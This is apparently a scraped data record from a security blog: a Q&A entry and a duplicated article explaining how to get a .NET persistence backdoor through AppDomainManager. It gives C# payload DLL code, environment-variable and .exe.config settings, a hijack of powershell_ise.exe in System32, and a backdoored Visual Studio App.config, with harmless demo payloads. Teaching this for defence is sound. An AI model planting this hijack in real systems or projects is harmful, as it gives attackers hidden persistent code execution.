[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fDo6VaUFcjZOPbnDqOh5R_0PKeOWScYg9u-t-m15GKYo":3},{"id":4,"question":5,"answer":6,"answerHtml":7,"slug":8,"keywords":9,"article":10,"status":34,"aiModel":39,"aiConfidence":39,"updatedAt":52,"createdAt":52,"_status":51},1054,"What is the exploitation approach targeting Visual Studio using AppDomainManager?","Visual Studio C# projects include a default `App.config` file. By modifying this config to add `appDomainManagerAssembly` and `appDomainManagerType` elements, the corresponding `bin` directory config file will be updated during compilation. If a malicious `DomainManager.dll` is also placed in the `bin` folder, every time the compiled program starts, the payload executes. This allows attackers to backdoor development environments or any .NET projects built with Visual Studio. For more details, see [Use AppDomainManager to maintain persistence](\u002Fnews\u002Fuse-appdomainmanager-to-maintain-persistence).","\u003Cp>Visual Studio C# projects include a default `App.config` file. By modifying this config to add `appDomainManagerAssembly` and `appDomainManagerType` elements, the corresponding `bin` directory config file will be updated during compilation. If a malicious `DomainManager.dll` is also placed in the `bin` folder, every time the compiled program starts, the payload executes. This allows attackers to backdoor development environments or any .NET projects built with Visual Studio. For more details, see [Use AppDomainManager to maintain persistence](\u002Fnews\u002Fuse-appdomainmanager-to-maintain-persistence).\u003C\u002Fp>\u003Cp>\u003Ca href=\"\u002Fnews\u002Fuse-appdomainmanager-to-maintain-persistence\">Read the related One Day Sec article\u003C\u002Fa>\u003C\u002Fp>","what-is-the-exploitation-approach-targeting-visual-studio-using-appdomainmanager-1777480820103","Visual Studio, App.config, AppDomainManager, .NET project, backdoor, compilation",{"id":11,"title":12,"slug":13,"description":14,"content":15,"contentHtml":30,"cover":31,"author":32,"views":19,"readingTime":33,"status":34,"publishedAt":35,"seo":36,"tags":41,"qaPairs":42,"meta":48,"updatedAt":49,"createdAt":50,"_status":51},257,"Use AppDomainManager to maintain persistence","use-appdomainmanager-to-maintain-persistence","Learn to hijack .Net programs using AppDomainManager for persistence, including self-developed apps and system tools like PowerShell.",{"root":16},{"type":17,"format":18,"indent":19,"version":20,"children":21,"direction":29},"root","",0,1,[22],{"type":23,"format":18,"indent":19,"version":20,"children":24,"direction":29},"paragraph",[25],{"mode":26,"text":27,"type":28,"style":18,"detail":19,"format":19,"version":20},"normal","\u003Chtml>\u003Chead>\u003C\u002Fhead>\u003Cbody>\u003Ch2>0x00 Introduction\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>A technique learned from Casey Smith @subTee: For .Net programs, modifying the AppDomainManager can hijack the startup process of .Net applications.\u003C\u002Fp>\u003Cp>If the startup process of common system .Net programs like powershell.exe is hijacked and a payload is added to them, a passive backdoor trigger mechanism can be achieved.\u003C\u002Fp>\u003Cp>\u003Cstrong>Reference link:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>http:\u002F\u002Fsubt0x10.blogspot.com\u002F2017\u002F06\u002Fattacking-clr-appdomainmanager-injection.html\u003C\u002Fp>\u003Ch2>0x01 Overview\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>This article will cover the following topics:\u003C\u002Fp>\u003Cul>\u003Cli>Hijacking self-developed .Net programs\u003C\u002Fli>\u003Cli>Hijacking the system .Net program powershell_ise.exe\u003C\u002Fli>\u003Cli>An exploitation idea targeting Visual Studio\u003C\u002Fli>\u003C\u002Ful>\u003Ch2>0x02 Related Concepts\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>\u003Cstrong>CLR:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>The full name is Common Language Runtime, which is a runtime environment that can be used by multiple programming languages.\u003C\u002Fp>\u003Cp>CLR is the main execution engine of the .NET Framework, and one of its functions is to monitor the operation of programs:\u003C\u002Fp>\u003Cul>\u003Cli>Programs running under the supervision of CLR are considered 'managed' code.\u003C\u002Fli>\u003Cli>Applications or components that run directly on bare metal, not under CLR, are considered 'unmanaged' code.\u003C\u002Fli>\u003C\u002Ful>\u003Cp>For programs under the supervision of CLR, the initialization process of program startup can be referred to in the following link:\u003C\u002Fp>\u003Cp>http:\u002F\u002Fmattwarren.org\u002F2017\u002F02\u002F07\u002FThe-68-things-the-CLR-does-before-executing-a-single-line-of-your-code\u002F\u003C\u002Fp>\u003Cp>\u003Cstrong>Noteworthy points:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>If a position that can be exploited can be found in the initialization process of program startup, loading our own code before the program starts, then we can 'abuse' the functionality of CLR to achieve hijacking of the program.\u003C\u002Fp>\u003Cp>\u003Cstrong>In an ideal scenario:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>If the program that can be hijacked is a commonly used system program that starts automatically with the system, then this method can serve as a persistent backdoor.\u003C\u002Fp>\u003Cp>The following introduces the backdoor idea shared by Casey Smith@subTee: AppDomainManager\u003C\u002Fp>\u003Ch2>0x03 Hijacking Self-Developed .Net Programs\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>Code referenced from: http:\u002F\u002Fsubt0x10.blogspot.com\u002F2017\u002F06\u002Fattacking-clr-appdomainmanager-injection.html\u003C\u002Fp>\u003Ch3>1. Write an example program\u003C\u002Fh3>\u003Cp>Using Visual Studio, select the C# development environment, create a new console application, project name: program, code as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>using System;\u003Cbr>\u003Cbr>public class Program\u003Cbr>{\u003Cbr>    public static void Main()\u003Cbr>    {\u003Cbr>        Console.WriteLine(\"Inside the App\");\u003Cbr>    }\u003Cbr>}\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Compile to generate program.exe\u003C\u002Fp>\u003Cp>Program execution as shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770015587359_0_7914e6df70.jpeg\">\u003C\u002Fp>\u003Ch3>2. Write payload Dll\u003C\u002Fh3>\u003Cp>Select the C# development environment, create a new class library, project name: DomainManager, code as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>using System;\u003Cbr>\u003Cbr>namespace DomainManager\u003Cbr>{\u003Cbr>    public class InjectedDomainManager : AppDomainManager\u003Cbr>    {\u003Cbr>        public override void InitializeNewDomain(AppDomainSetup appDomainInfo)\u003Cbr>        {\u003Cbr>            base.InitializeNewDomain(appDomainInfo);\u003Cbr>            Console.WriteLine(\"Blah From AppMgr\");\u003Cbr>        }\u003Cbr>    }\u003Cbr>}\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Compile to generate DomainManager.dll\u003C\u002Fp>\u003Ch3>3. Set AppDomainManager to hijack program startup\u003C\u002Fh3>\u003Cp>Place DomainManager.dll in the same directory\u003C\u002Fp>\u003Cp>\u003Cstrong>Method 1:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>Set environment variables via cmd:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>set APPDOMAIN_MANAGER_ASM=DomainManager, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null\u003Cbr>\u003Cbr>set APPDOMAIN_MANAGER_TYPE=DomainManager.InjectedDomainManager\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Execute program.exe and observe that DomainManager.dll runs before program.exe by checking the echo\u003C\u002Fp>\u003Cp>Hijack successfully implemented, complete operation as shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770015590239_1_ef6ba37a24.jpeg\">\u003C\u002Fp>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>Pay attention to compare the execution order\u003C\u002Fp>\u003Cp>Setting environment variables via cmd only affects the current cmd session and is not universal\u003C\u002Fp>\u003Cp>\u003Cstrong>Method 2:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>More universal method: Configure config file\u003C\u002Fp>\u003Cp>Create program.exe.config with the following content:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>\u003C!--?xml version=\"1.0\" encoding=\"utf-8\"?-->\u003Cbr>\u003Cconfiguration>\u003Cbr>  \u003Cstartup>\u003Cbr>    \u003Csupportedruntime version=\"v4.0\" sku=\".NETFramework,Version=v4.0\">\u003Cbr>  \u003C\u002Fsupportedruntime>\u003C\u002Fstartup>\u003Cbr>    \u003Cruntime>\u003Cbr>      \u003Cappdomainmanagertype value=\"DomainManager.InjectedDomainManager\">\u003Cbr>      \u003Cappdomainmanagerassembly\u003Cbr>         value=\"DomainManager, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null\" \u002F>\u003Cbr>    \u003C\u002Fappdomainmanagerassembly\u003Cbr>\u003C\u002Fappdomainmanagertype>\u003C\u002Fruntime>\u003Cbr>\u003C\u002Fconfiguration>\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>Config file naming format: exe+.config\u003C\u002Fp>\u003Cp>Successfully achieved hijacking, complete operation as shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770015595349_2_084071fb2c.jpeg\">\u003C\u002Fp>\u003Ch2>0x04 Hijacking system .Net program powershell_ise.exe\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>Next, we need to find exploitable system .Net programs and attempt to implement a persistent backdoor.\u003C\u002Fp>\u003Cp>Here, powershell_ise.exe is selected for demonstration.\u003C\u002Fp>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>powershell_ise.exe: Full name Windows PowerShell Integrated Scripting Environment\u003C\u002Fp>\u003Cp>Graphical interface, primarily used for writing and debugging PowerShell scripts.\u003C\u002Fp>\u003Cp>The operation interface is shown in the figure below.\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770015597776_3_74384646ed.jpeg\">\u003C\u002Fp>\u003Cp>For demonstration purposes, we need to modify the project DomainManager to make it display a pop-up window when running.\u003C\u002Fp>\u003Ch3>1. Add Reference\u003C\u002Fh3>\u003Cp>Right-click on the project - Add Reference, select System.Windows.Forms.\u003C\u002Fp>\u003Cp>As shown in the figure below.\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770015600726_4_1b774f1475.jpeg\">\u003C\u002Fp>\u003Cp>The code modification is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>using System;\u003Cbr>using System.Windows.Forms; \u003Cbr>namespace DomainManager\u003Cbr>{\u003Cbr>    public class InjectedDomainManager : AppDomainManager\u003Cbr>    {\u003Cbr>        public override void InitializeNewDomain(AppDomainSetup appDomainInfo)\u003Cbr>        {\u003Cbr>            base.InitializeNewDomain(appDomainInfo);\u003Cbr>            Console.WriteLine(\"Blah From AppMgr\");\u003Cbr>            MessageBox.Show(\"1\");\u003Cbr>        }\u003Cbr>    }\u003Cbr>}\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Recompile to generate DomainManager.dll\u003C\u002Fp>\u003Ch3>2. Testing\u003C\u002Fh3>\u003Cp>Hijacking program.exe successful, as shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770015603540_5_e43ae6fad7.jpeg\">\u003C\u002Fp>\u003Cp>Hijacking powershell_ise.exe:\u003C\u002Fp>\u003Cp>\u003Cstrong>(1)\u003C\u002Fstrong> Test test directory\u003C\u002Fp>\u003Cp>Copy powershell_ise.exe to c:\\test\u003C\u002Fp>\u003Cp>Create a new powershell_ise.exe.config file in the same directory. The config file can be appropriately simplified, with the simplified content as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>\u003C!--?xml version=\"1.0\"?-->\u003Cbr>\u003Cconfiguration>\u003Cbr>  \u003Cstartup>\u003Cbr>    \u003Csupportedruntime version=\"v4.0\">\u003Cbr>  \u003C\u002Fsupportedruntime>\u003C\u002Fstartup>\u003Cbr>    \u003Cruntime>\u003Cbr>      \u003Cappdomainmanagertype value=\"DomainManager.InjectedDomainManager\">\u003Cbr>      \u003Cappdomainmanagerassembly value=\"DomainManager\">\u003Cbr>    \u003C\u002Fappdomainmanagerassembly>\u003C\u002Fappdomainmanagertype>\u003C\u002Fruntime>\u003Cbr>\u003C\u002Fconfiguration>\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Start powershell_ise.exe in the c:\\test directory\u003C\u002Fp>\u003Cp>Successfully hijacked powershell_ise.exe\u003C\u002Fp>\u003Cp>(2) Test the default directory of powershell_ise.exe\u003C\u002Fp>\u003Cp>The path is as follows:\u003C\u002Fp>\u003Cp>C:\\Windows\\System32\\WindowsPowerShell\\v1.0\u003C\u002Fp>\u003Cp>Requires administrator privileges to create hijack files DomainManager.dll and powershell_ise.exe.config in the default directory\u003C\u002Fp>\u003Cp>Compile any PowerShell script, default launch of powershell_ise.exe, successfully hijacked\u003C\u002Fp>\u003Cp>Complete operation as shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770015606141_6_210f5ae57d.png\">\u003C\u002Fp>\u003Ch2>0x05 An exploitation approach targeting Visual Studio\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>For Visual Studio C# projects, the file App.config exists by default in the project directory, with the following content:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>\u003C!--?xml version=\"1.0\" encoding=\"utf-8\" ?-->\u003Cbr>\u003Cconfiguration>\u003Cbr>    \u003Cstartup> \u003Cbr>        \u003Csupportedruntime version=\"v4.0\" sku=\".NETFramework,Version=v4.5\">\u003Cbr>    \u003C\u002Fsupportedruntime>\u003C\u002Fstartup>\u003Cbr>\u003C\u002Fconfiguration>\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>If modified to add hijacking functionality, the default config file generated in the bin directory will also be updated accordingly during program compilation.\u003C\u002Fp>\u003Cp>App.config modifications are as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>\u003C!--?xml version=\"1.0\" encoding=\"utf-8\" ?-->\u003Cbr>\u003Cconfiguration>\u003Cbr>    \u003Cstartup> \u003Cbr>        \u003Csupportedruntime version=\"v4.0\" sku=\".NETFramework,Version=v4.5\">\u003Cbr>    \u003C\u002Fsupportedruntime>\u003C\u002Fstartup>\u003Cbr>    \u003Cruntime>\u003Cbr>      \u003Cappdomainmanagertype value=\"DomainManager.InjectedDomainManager\">\u003Cbr>      \u003Cappdomainmanagerassembly value=\"DomainManager\">\u003Cbr>    \u003C\u002Fappdomainmanagerassembly>\u003C\u002Fappdomainmanagertype>\u003C\u002Fruntime>\u003Cbr>\u003C\u002Fconfiguration>\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>After compiling the program, the config file in the bin directory is also modified, as shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770015608148_7_26713841bd.jpeg\">\u003C\u002Fp>\u003Cp>If DomainManager.dll is also placed in the bin directory, it will be hijacked when the program starts, as shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770015610638_8_43973ac933.jpeg\">\u003C\u002Fp>\u003Ch2>0x06 Summary\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>This article introduces a passive backdoor triggering mechanism implemented by modifying AppDomainManager, analyzes the exploitation approach. From a defender's perspective, it is only necessary to pay attention to the config files in the same directory as .Net programs.\u003C\u002Fp>\u003C\u002Fbody>\u003C\u002Fhtml>","text","ltr","\u003Chtml>\u003Chead>\u003C\u002Fhead>\u003Cbody>\u003Ch2>0x00 Introduction\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>A technique learned from Casey Smith @subTee: For .Net programs, modifying the AppDomainManager can hijack the startup process of .Net applications.\u003C\u002Fp>\u003Cp>If the startup process of common system .Net programs like powershell.exe is hijacked and a payload is added to them, a passive backdoor trigger mechanism can be achieved.\u003C\u002Fp>\u003Cp>\u003Cstrong>Reference link:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>http:\u002F\u002Fsubt0x10.blogspot.com\u002F2017\u002F06\u002Fattacking-clr-appdomainmanager-injection.html\u003C\u002Fp>\u003Ch2>0x01 Overview\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>This article will cover the following topics:\u003C\u002Fp>\u003Cul>\u003Cli>Hijacking self-developed .Net programs\u003C\u002Fli>\u003Cli>Hijacking the system .Net program powershell_ise.exe\u003C\u002Fli>\u003Cli>An exploitation idea targeting Visual Studio\u003C\u002Fli>\u003C\u002Ful>\u003Ch2>0x02 Related Concepts\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>\u003Cstrong>CLR:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>The full name is Common Language Runtime, which is a runtime environment that can be used by multiple programming languages.\u003C\u002Fp>\u003Cp>CLR is the main execution engine of the .NET Framework, and one of its functions is to monitor the operation of programs:\u003C\u002Fp>\u003Cul>\u003Cli>Programs running under the supervision of CLR are considered 'managed' code.\u003C\u002Fli>\u003Cli>Applications or components that run directly on bare metal, not under CLR, are considered 'unmanaged' code.\u003C\u002Fli>\u003C\u002Ful>\u003Cp>For programs under the supervision of CLR, the initialization process of program startup can be referred to in the following link:\u003C\u002Fp>\u003Cp>http:\u002F\u002Fmattwarren.org\u002F2017\u002F02\u002F07\u002FThe-68-things-the-CLR-does-before-executing-a-single-line-of-your-code\u002F\u003C\u002Fp>\u003Cp>\u003Cstrong>Noteworthy points:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>If a position that can be exploited can be found in the initialization process of program startup, loading our own code before the program starts, then we can 'abuse' the functionality of CLR to achieve hijacking of the program.\u003C\u002Fp>\u003Cp>\u003Cstrong>In an ideal scenario:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>If the program that can be hijacked is a commonly used system program that starts automatically with the system, then this method can serve as a persistent backdoor.\u003C\u002Fp>\u003Cp>The following introduces the backdoor idea shared by Casey Smith@subTee: AppDomainManager\u003C\u002Fp>\u003Ch2>0x03 Hijacking Self-Developed .Net Programs\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>Code referenced from: http:\u002F\u002Fsubt0x10.blogspot.com\u002F2017\u002F06\u002Fattacking-clr-appdomainmanager-injection.html\u003C\u002Fp>\u003Ch3>1. Write an example program\u003C\u002Fh3>\u003Cp>Using Visual Studio, select the C# development environment, create a new console application, project name: program, code as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>using System;\u003Cbr>\u003Cbr>public class Program\u003Cbr>{\u003Cbr>    public static void Main()\u003Cbr>    {\u003Cbr>        Console.WriteLine(\"Inside the App\");\u003Cbr>    }\u003Cbr>}\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Compile to generate program.exe\u003C\u002Fp>\u003Cp>Program execution as shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770015587359_0_7914e6df70-1.jpeg\">\u003C\u002Fp>\u003Ch3>2. Write payload Dll\u003C\u002Fh3>\u003Cp>Select the C# development environment, create a new class library, project name: DomainManager, code as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>using System;\u003Cbr>\u003Cbr>namespace DomainManager\u003Cbr>{\u003Cbr>    public class InjectedDomainManager : AppDomainManager\u003Cbr>    {\u003Cbr>        public override void InitializeNewDomain(AppDomainSetup appDomainInfo)\u003Cbr>        {\u003Cbr>            base.InitializeNewDomain(appDomainInfo);\u003Cbr>            Console.WriteLine(\"Blah From AppMgr\");\u003Cbr>        }\u003Cbr>    }\u003Cbr>}\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Compile to generate DomainManager.dll\u003C\u002Fp>\u003Ch3>3. Set AppDomainManager to hijack program startup\u003C\u002Fh3>\u003Cp>Place DomainManager.dll in the same directory\u003C\u002Fp>\u003Cp>\u003Cstrong>Method 1:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>Set environment variables via cmd:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>set APPDOMAIN_MANAGER_ASM=DomainManager, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null\u003Cbr>\u003Cbr>set APPDOMAIN_MANAGER_TYPE=DomainManager.InjectedDomainManager\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Execute program.exe and observe that DomainManager.dll runs before program.exe by checking the echo\u003C\u002Fp>\u003Cp>Hijack successfully implemented, complete operation as shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770015590239_1_ef6ba37a24-1.jpeg\">\u003C\u002Fp>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>Pay attention to compare the execution order\u003C\u002Fp>\u003Cp>Setting environment variables via cmd only affects the current cmd session and is not universal\u003C\u002Fp>\u003Cp>\u003Cstrong>Method 2:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>More universal method: Configure config file\u003C\u002Fp>\u003Cp>Create program.exe.config with the following content:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>\u003C!--?xml version=\"1.0\" encoding=\"utf-8\"?-->\u003Cbr>\u003Cconfiguration>\u003Cbr>  \u003Cstartup>\u003Cbr>    \u003Csupportedruntime version=\"v4.0\" sku=\".NETFramework,Version=v4.0\">\u003Cbr>  \u003C\u002Fsupportedruntime>\u003C\u002Fstartup>\u003Cbr>    \u003Cruntime>\u003Cbr>      \u003Cappdomainmanagertype value=\"DomainManager.InjectedDomainManager\">\u003Cbr>      \u003Cappdomainmanagerassembly\u003Cbr>         value=\"DomainManager, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null\" \u002F>\u003Cbr>    \u003C\u002Fappdomainmanagerassembly\u003Cbr>\u003C\u002Fappdomainmanagertype>\u003C\u002Fruntime>\u003Cbr>\u003C\u002Fconfiguration>\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>Config file naming format: exe+.config\u003C\u002Fp>\u003Cp>Successfully achieved hijacking, complete operation as shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770015595349_2_084071fb2c-1.jpeg\">\u003C\u002Fp>\u003Ch2>0x04 Hijacking system .Net program powershell_ise.exe\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>Next, we need to find exploitable system .Net programs and attempt to implement a persistent backdoor.\u003C\u002Fp>\u003Cp>Here, powershell_ise.exe is selected for demonstration.\u003C\u002Fp>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>powershell_ise.exe: Full name Windows PowerShell Integrated Scripting Environment\u003C\u002Fp>\u003Cp>Graphical interface, primarily used for writing and debugging PowerShell scripts.\u003C\u002Fp>\u003Cp>The operation interface is shown in the figure below.\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770015597776_3_74384646ed-1.jpeg\">\u003C\u002Fp>\u003Cp>For demonstration purposes, we need to modify the project DomainManager to make it display a pop-up window when running.\u003C\u002Fp>\u003Ch3>1. Add Reference\u003C\u002Fh3>\u003Cp>Right-click on the project - Add Reference, select System.Windows.Forms.\u003C\u002Fp>\u003Cp>As shown in the figure below.\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770015600726_4_1b774f1475-1.jpeg\">\u003C\u002Fp>\u003Cp>The code modification is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>using System;\u003Cbr>using System.Windows.Forms; \u003Cbr>namespace DomainManager\u003Cbr>{\u003Cbr>    public class InjectedDomainManager : AppDomainManager\u003Cbr>    {\u003Cbr>        public override void InitializeNewDomain(AppDomainSetup appDomainInfo)\u003Cbr>        {\u003Cbr>            base.InitializeNewDomain(appDomainInfo);\u003Cbr>            Console.WriteLine(\"Blah From AppMgr\");\u003Cbr>            MessageBox.Show(\"1\");\u003Cbr>        }\u003Cbr>    }\u003Cbr>}\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Recompile to generate DomainManager.dll\u003C\u002Fp>\u003Ch3>2. Testing\u003C\u002Fh3>\u003Cp>Hijacking program.exe successful, as shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770015603540_5_e43ae6fad7-1.jpeg\">\u003C\u002Fp>\u003Cp>Hijacking powershell_ise.exe:\u003C\u002Fp>\u003Cp>\u003Cstrong>(1)\u003C\u002Fstrong> Test test directory\u003C\u002Fp>\u003Cp>Copy powershell_ise.exe to c:\\test\u003C\u002Fp>\u003Cp>Create a new powershell_ise.exe.config file in the same directory. The config file can be appropriately simplified, with the simplified content as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>\u003C!--?xml version=\"1.0\"?-->\u003Cbr>\u003Cconfiguration>\u003Cbr>  \u003Cstartup>\u003Cbr>    \u003Csupportedruntime version=\"v4.0\">\u003Cbr>  \u003C\u002Fsupportedruntime>\u003C\u002Fstartup>\u003Cbr>    \u003Cruntime>\u003Cbr>      \u003Cappdomainmanagertype value=\"DomainManager.InjectedDomainManager\">\u003Cbr>      \u003Cappdomainmanagerassembly value=\"DomainManager\">\u003Cbr>    \u003C\u002Fappdomainmanagerassembly>\u003C\u002Fappdomainmanagertype>\u003C\u002Fruntime>\u003Cbr>\u003C\u002Fconfiguration>\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Start powershell_ise.exe in the c:\\test directory\u003C\u002Fp>\u003Cp>Successfully hijacked powershell_ise.exe\u003C\u002Fp>\u003Cp>(2) Test the default directory of powershell_ise.exe\u003C\u002Fp>\u003Cp>The path is as follows:\u003C\u002Fp>\u003Cp>C:\\Windows\\System32\\WindowsPowerShell\\v1.0\u003C\u002Fp>\u003Cp>Requires administrator privileges to create hijack files DomainManager.dll and powershell_ise.exe.config in the default directory\u003C\u002Fp>\u003Cp>Compile any PowerShell script, default launch of powershell_ise.exe, successfully hijacked\u003C\u002Fp>\u003Cp>Complete operation as shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770015606141_6_210f5ae57d-1.png\">\u003C\u002Fp>\u003Ch2>0x05 An exploitation approach targeting Visual Studio\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>For Visual Studio C# projects, the file App.config exists by default in the project directory, with the following content:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>\u003C!--?xml version=\"1.0\" encoding=\"utf-8\" ?-->\u003Cbr>\u003Cconfiguration>\u003Cbr>    \u003Cstartup> \u003Cbr>        \u003Csupportedruntime version=\"v4.0\" sku=\".NETFramework,Version=v4.5\">\u003Cbr>    \u003C\u002Fsupportedruntime>\u003C\u002Fstartup>\u003Cbr>\u003C\u002Fconfiguration>\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>If modified to add hijacking functionality, the default config file generated in the bin directory will also be updated accordingly during program compilation.\u003C\u002Fp>\u003Cp>App.config modifications are as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>\u003C!--?xml version=\"1.0\" encoding=\"utf-8\" 